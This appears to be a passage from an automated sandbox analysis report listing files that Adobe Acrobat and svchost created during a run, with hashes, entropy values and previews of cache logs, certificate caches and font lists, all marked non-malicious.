SHA-512:	283F25B0C0506D6B3F91179C6007EE61DC607433A17EB77B2BE13B24DC950DC6A41CCF76D0A0E2EB0053750EB020BEA9B9259962FBA1E847C91524FFE149765D
Malicious:	false
Preview:	=...... .......7.......X\...;...{......................0.e......!...{?......}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................B.U+.....}k.................x..H.....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07945259009413072
Encrypted:	false
SSDEEP:	3:pLW8YeW3SjqeuNaAPaU1lTrJl/lolluxmO+l/SNxOf:pLW8z1BuNDPaUrHGgmOH
MD5:	6645201480913921E4DABDAFAB3E36B7
SHA1:	421B66A84D1CFBA9986B7FB77A6EF10567E45763
SHA-256:	A8A63743600CF351AEEF075681EE85C876749154D9692E96A9E8ED57534F97AD
SHA-512:	DD473A44C41E4313B47D9A6B0D4C7FABF68BA2DCC121AFFEFBF4B3B192FDCB630DA0B7C4998183392C4733AC411ADD1F8CE077D263BA77203A81949916D88BBF
Malicious:	false
Preview:	...n.....................................;...{.......}...!...{?..........!...{?..!...{?..g...!...{?.................x..H.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.108233937110951
Encrypted:	false
SSDEEP:	6:iOH1PIq2PN72nKuAl9OmbnIFUtpdZmwjvkwON72nKuAl9OmbjLJ:7HuvVaHAahFUtpd/jv5OaHAaSJ
MD5:	CBD4872C3915E061D20E234C9E40DEC3
SHA1:	F04E70182D617B45BE60E23DD698E90A5983D735
SHA-256:	9F3C0D5F48BCE32CAD35F89B4EDBD9F796198EEA72415CBDF4E7D9D2A372F848
SHA-512:	FF879F32EB1F3B5861E9A9FBA68366B7A5A893B40DA38FCC8C7D8B36DB8B1A030CC57CA298E8DE95AAB2EF452CD2EF42D13BBA2EC7777DDF55F4A291F89F1048
Malicious:	false
Preview:	2025/01/11-00:07:04.182 cb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:07:04.184 cb0 Recovering log #3.2025/01/11-00:07:04.184 cb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.108233937110951
Encrypted:	false
SSDEEP:	6:iOH1PIq2PN72nKuAl9OmbnIFUtpdZmwjvkwON72nKuAl9OmbjLJ:7HuvVaHAahFUtpd/jv5OaHAaSJ
MD5:	CBD4872C3915E061D20E234C9E40DEC3
SHA1:	F04E70182D617B45BE60E23DD698E90A5983D735
SHA-256:	9F3C0D5F48BCE32CAD35F89B4EDBD9F796198EEA72415CBDF4E7D9D2A372F848
SHA-512:	FF879F32EB1F3B5861E9A9FBA68366B7A5A893B40DA38FCC8C7D8B36DB8B1A030CC57CA298E8DE95AAB2EF452CD2EF42D13BBA2EC7777DDF55F4A291F89F1048
Malicious:	false
Preview:	2025/01/11-00:07:04.182 cb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:07:04.184 cb0 Recovering log #3.2025/01/11-00:07:04.184 cb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.090128158831644
Encrypted:	false
SSDEEP:	6:iOHUV39+q2PN72nKuAl9Ombzo2jMGIFUtpzJZmwjWXF39VkwON72nKuAl9Ombzos:7HvvVaHAa8uFUtp1/jWXF5OaHAa8RJ
MD5:	77A39AE8304742D60B5C6268B5439F37
SHA1:	7EB129F2334A2532991A027F6A12676687BCAB9F
SHA-256:	3B00EE3ACE9F70382D60D7E3E5411A66F2D70CB0C5140EC7910CBC672FC3016E
SHA-512:	EC642D15B227D6DD0C9DE6FF685B618CCBEEE4926CC001743A0258C9609D864832B0BE91B57EA5A457F613E07E1506167C05F57443991BD5CAF3C1AEE542B6EA
Malicious:	false
Preview:	2025/01/11-00:07:04.210 1ad8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:07:04.211 1ad8 Recovering log #3.2025/01/11-00:07:04.212 1ad8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.090128158831644
Encrypted:	false
SSDEEP:	6:iOHUV39+q2PN72nKuAl9Ombzo2jMGIFUtpzJZmwjWXF39VkwON72nKuAl9Ombzos:7HvvVaHAa8uFUtp1/jWXF5OaHAa8RJ
MD5:	77A39AE8304742D60B5C6268B5439F37
SHA1:	7EB129F2334A2532991A027F6A12676687BCAB9F
SHA-256:	3B00EE3ACE9F70382D60D7E3E5411A66F2D70CB0C5140EC7910CBC672FC3016E
SHA-512:	EC642D15B227D6DD0C9DE6FF685B618CCBEEE4926CC001743A0258C9609D864832B0BE91B57EA5A457F613E07E1506167C05F57443991BD5CAF3C1AEE542B6EA
Malicious:	false
Preview:	2025/01/11-00:07:04.210 1ad8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:07:04.211 1ad8 Recovering log #3.2025/01/11-00:07:04.212 1ad8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.968694759048396
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1sBdOg2Hwcaq3QYiubcP7E4T3y:Y2sRdsndMH73QYhbA7nby
MD5:	E9D4A399A84BBA6D98C15E3A72FC1831
SHA1:	C4695D62985B309ACC0594C8F69BB87C13F3C05D
SHA-256:	3D7701BB814F38B8506B14B72D2CE6A967C0BF493B3BF1988FEC1A6F11701F1E
SHA-512:	5297B950D970751E0AF21A4E34A70472B6675AA180DCC38D1BE760022EA4BC8BA64784159F62F8F79FB2C37B5C9C3D1110F99DB7AE63E556BF307D7762869201
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381132035879379","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":117803},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d18e1650-c08f-4d84-831a-b125b845f5e1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.968694759048396
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1sBdOg2Hwcaq3QYiubcP7E4T3y:Y2sRdsndMH73QYhbA7nby
MD5:	E9D4A399A84BBA6D98C15E3A72FC1831
SHA1:	C4695D62985B309ACC0594C8F69BB87C13F3C05D
SHA-256:	3D7701BB814F38B8506B14B72D2CE6A967C0BF493B3BF1988FEC1A6F11701F1E
SHA-512:	5297B950D970751E0AF21A4E34A70472B6675AA180DCC38D1BE760022EA4BC8BA64784159F62F8F79FB2C37B5C9C3D1110F99DB7AE63E556BF307D7762869201
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381132035879379","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":117803},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.255081129002416
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7WblG4:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhW
MD5:	53B147B50F6BB0B2C6BDF1D00BCF75B2
SHA1:	BD1FF43F2324C1CA6B06B81207A8CE11FC2BA360
SHA-256:	8991F4EB33EFCEC60157DEE3CAD13FD9845D1F48D4EE27DEAE8FD3C8EE2E49DD
SHA-512:	E8CF210FC100186E7E42DE0356291BC5BE2E58E6B070116FD28BA68F85FE1B00243469ABDD4D06336B85757A968F8D9273B1FF24256B709C76BCBF26E76722B1
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.142769898978741
Encrypted:	false
SSDEEP:	6:iOH+N9+q2PN72nKuAl9OmbzNMxIFUtpBJZmwjB9VkwON72nKuAl9OmbzNMFLJ:7H+OvVaHAa8jFUtpr/jh5OaHAa84J
MD5:	B11842F2DF9B52F3D26A310BE870DBA6
SHA1:	2C687151FFCC6C09D206249988017794E7A4C81B
SHA-256:	2F977B25B6A0F3A29141AF6D8FEEB045A70CA17F3345FA3FCAA299E3D0811A84
SHA-512:	1D4CEE69ADBEF5C0AFED0DDE94E96C2EB7FA110AD0E4D31EA6FCBEE983B29D92FCE406D5462DB9CB7644AA1CDE12B6997604E8C20EC1CC267C5F5B83566D7298
Malicious:	false
Preview:	2025/01/11-00:07:04.496 1ad8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:07:04.503 1ad8 Recovering log #3.2025/01/11-00:07:04.503 1ad8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.142769898978741
Encrypted:	false
SSDEEP:	6:iOH+N9+q2PN72nKuAl9OmbzNMxIFUtpBJZmwjB9VkwON72nKuAl9OmbzNMFLJ:7H+OvVaHAa8jFUtpr/jh5OaHAa84J
MD5:	B11842F2DF9B52F3D26A310BE870DBA6
SHA1:	2C687151FFCC6C09D206249988017794E7A4C81B
SHA-256:	2F977B25B6A0F3A29141AF6D8FEEB045A70CA17F3345FA3FCAA299E3D0811A84
SHA-512:	1D4CEE69ADBEF5C0AFED0DDE94E96C2EB7FA110AD0E4D31EA6FCBEE983B29D92FCE406D5462DB9CB7644AA1CDE12B6997604E8C20EC1CC267C5F5B83566D7298
Malicious:	false
Preview:	2025/01/11-00:07:04.496 1ad8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:07:04.503 1ad8 Recovering log #3.2025/01/11-00:07:04.503 1ad8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 13, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444257481466809
Encrypted:	false
SSDEEP:	384:SeZci5tViBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:V+s3OazzU89UTTgUL
MD5:	0FEF65CB690358E8C6F922FC6DD9651D
SHA1:	F7E60E6E29E2269642FAEBF0CD70F926966EAD9F
SHA-256:	FDAF1099890FD92FD084AB35304ACFD94753D08ABA0291AE1680E6F52430DEE2
SHA-512:	841F6145164AF2BAA7557E2C9B8C668BC598166D907F8302BE0BC9AC3772F4C9BF0C3F2FF5DDB173398F497D733B6F0024E0313D9ED48DF220AFAF3ABE692424
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2117715774923865
Encrypted:	false
SSDEEP:	24:7+tx2enuwK+qLLzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf98:7MxnC+qPmFTIF3XmHjBoGGR+jMz+LhT6
MD5:	2BFC3030C181D7CDCE5FB5B235743876
SHA1:	A560EDA2AD7FE4255074E4C1D10EB86646DDB273
SHA-256:	8315C66F2C0BC253CDB62A9D166828FB7B95C5A14445ED32BEA1A55B62778778
SHA-512:	251FB03245932C6D4E0802E50E671BA5FF2207D98D42C9D482C536A8C98BD02DB04F2CC4E58FC14FBC35AA40D8E16796F055AD1D7002DF47F3F06B3810C97607
Malicious:	false
Preview:	.... .c......'l.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkl60DGpttfllXlE/HT8kiKZNNX8RolJuRdxLlGB9lQRYwpDdt:kKjyyeT8u3NMa8RdWBwRd
MD5:	C522BF6F30B334D77848BB9BB8702EC5
SHA1:	6BB813CCF76C5C5A1C78CB8BBE981EFF6AEA726D
SHA-256:	0CA97E6657153284B21F35FE535C02AB2D0A37F1008CB18134F86E42A61465F6
SHA-512:	D911E96376304FFD9E81D56A8D28BA60578A9364E1FD0F18990DF3F2373A0B3B6CD725AD83860C7048B1E753035263069E4956FFE5C0EF51363BAE896E725234
Malicious:	false
Preview:	p...... ..........L..c..(....................................................... ..........W.....k..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKvvnGL/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:3vni/iDImsLNkPlE99SNxAhUe/3
MD5:	EEE8D7E4D2F7FB517DAF50C43BC636DB
SHA1:	3BFA31FCF96C4020B7EF3C3BD657F9E5B4B7FA61
SHA-256:	A89B28B9B8791961103EE883792E925BE96A750946929A4DEE9353286107BF28
SHA-512:	573DC340C0BE7DA222570DD35DAF5B504C406E7197D23E90E5097EE0874DDD779B19A391646804A8037F539F1031CD6DAFD11E680685818F9554B09D01581CD5
Malicious:	false
Preview:	p...... .........;...c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5160

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

